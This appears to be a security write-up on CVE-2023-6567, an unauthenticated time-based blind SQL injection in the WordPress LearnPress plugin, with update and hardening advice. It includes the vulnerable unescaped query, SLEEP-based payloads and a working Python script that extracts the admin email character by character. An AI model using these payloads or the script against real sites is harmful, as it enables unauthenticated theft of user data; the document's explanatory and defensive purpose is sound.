If you use WordPress for online courses, you’ve likely come across LearnPress. It's a popular Learning Management System (LMS) plugin with over 100,000 active installs. But in December 2023, researchers uncovered a significant vulnerability: CVE-2023-6567. This flaw allowed hackers to use a time-based SQL Injection through the order_by parameter — and all without any authentication.

In this article, I’ll break down how this issue works, show some example code, and explain what you should do if your site was running LearnPress before version 4.2.5.8.

What Is CVE-2023-6567? Simple Words, Big Problem

CVE-2023-6567 affects all versions up to and including LearnPress 4.2.5.7.

Who’s at risk? Anyone using a vulnerable version of LearnPress—no login needed.

- What’s the risk? Attackers can extract sensitive data (emails, passwords) by manipulating SQL queries in the background.

Why Was This Possible?

The LearnPress plugin did not properly escape the user input passed through the order_by parameter, nor did it apply proper SQL query preparation. That means someone could craft a web request to inject their own SQL code, and WordPress would unknowingly execute it.

The vulnerable code was somewhere along these lines (simplified for clarity)

$order_by = $_GET['order_by'] ?? 'id';
$query = "SELECT * FROM {$wpdb->prefix}learnpress_courses ORDER BY $order_by";
$results = $wpdb->get_results($query);

Notice that $order_by is taken directly from user input. No type-checking, no escaping — the perfect scenario for SQL injection.

Imagine someone sends this HTTP request to your server

GET /wp-json/learnpress/v1/courses?order_by=id%20ASC%2C(SELECT%20IF(1=1,SLEEP(5),))

Decoded, the order_by now equals

id ASC, (SELECT IF(1=1,SLEEP(5),))

This turns the SQL query into

SELECT * FROM wp_learnpress_courses ORDER BY id ASC, (SELECT IF(1=1,SLEEP(5),))

- The SQL SLEEP(5) function delays the database for 5 seconds if the injected condition is true (which it always is).
- Attackers can measure how long the request takes to complete. If it’s slow, they know their injection worked!

With this trick, bad actors can slowly ask the database yes/no questions to extract sensitive data, such as admin emails or password hashes—all without ever logging in.

How Attackers Extract Data

Unlike classic SQL injection, blind SQL injection doesn't show the attacker the result directly.

They rely on timing to guess the value of each character in sensitive database fields. For example

(SELECT IF(SUBSTRING((SELECT user_email FROM wp_users WHERE ID=1),1,1)='a', SLEEP(5), ))

This asks: "Is the first letter of the admin’s email ‘a’? If so, wait 5 seconds." And so on, one character at a time.

Here’s a basic Python snippet that sends these requests

import requests
import time

target = 'https://victim.com/wp-json/learnpress/v1/courses';
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789@._-'
email = ''

for i in range(1, 30):
    for c in alphabet:
        inj = f"id ASC, (SELECT IF(SUBSTRING((SELECT user_email FROM wp_users WHERE ID=1),{i},1)='{c}',SLEEP(5),))"
        params = {'order_by': inj}
        start = time.time()
        requests.get(target, params=params)
        dt = time.time() - start
        if dt > 5:
            email += c
            print(f"Found: {email}")
            break

This script slowly brute-forces the admin’s email, character by character.

Proof-of-Concept Video & References

- Original Wordfence Advisory
- Official LearnPress Changelog
- CVE Record

Update LearnPress to at least version 4.2.5.8 (or the latest).

2. Disable public access to your /wp-json/learnpress/v1/* API endpoints if you don’t need them.

Final Thoughts

This vulnerability is a textbook example of why we should never trust user input in SQL queries. It also shows how dangerous even a “read-only” parameter like order_by can be when not properly coded.

If you spot hints of this attack in your logs (like weird delays or order_by containing odd SQL), change all admin passwords and consider a site security audit.

Stay safe & always keep your plugins updated!

*Written exclusively for this query. For more security write-ups, visit wordfence.com or the official CVE record.*

Timeline

Published on: 01/11/2024 09:15:49 UTC
Last modified on: 01/17/2024 18:46:59 UTC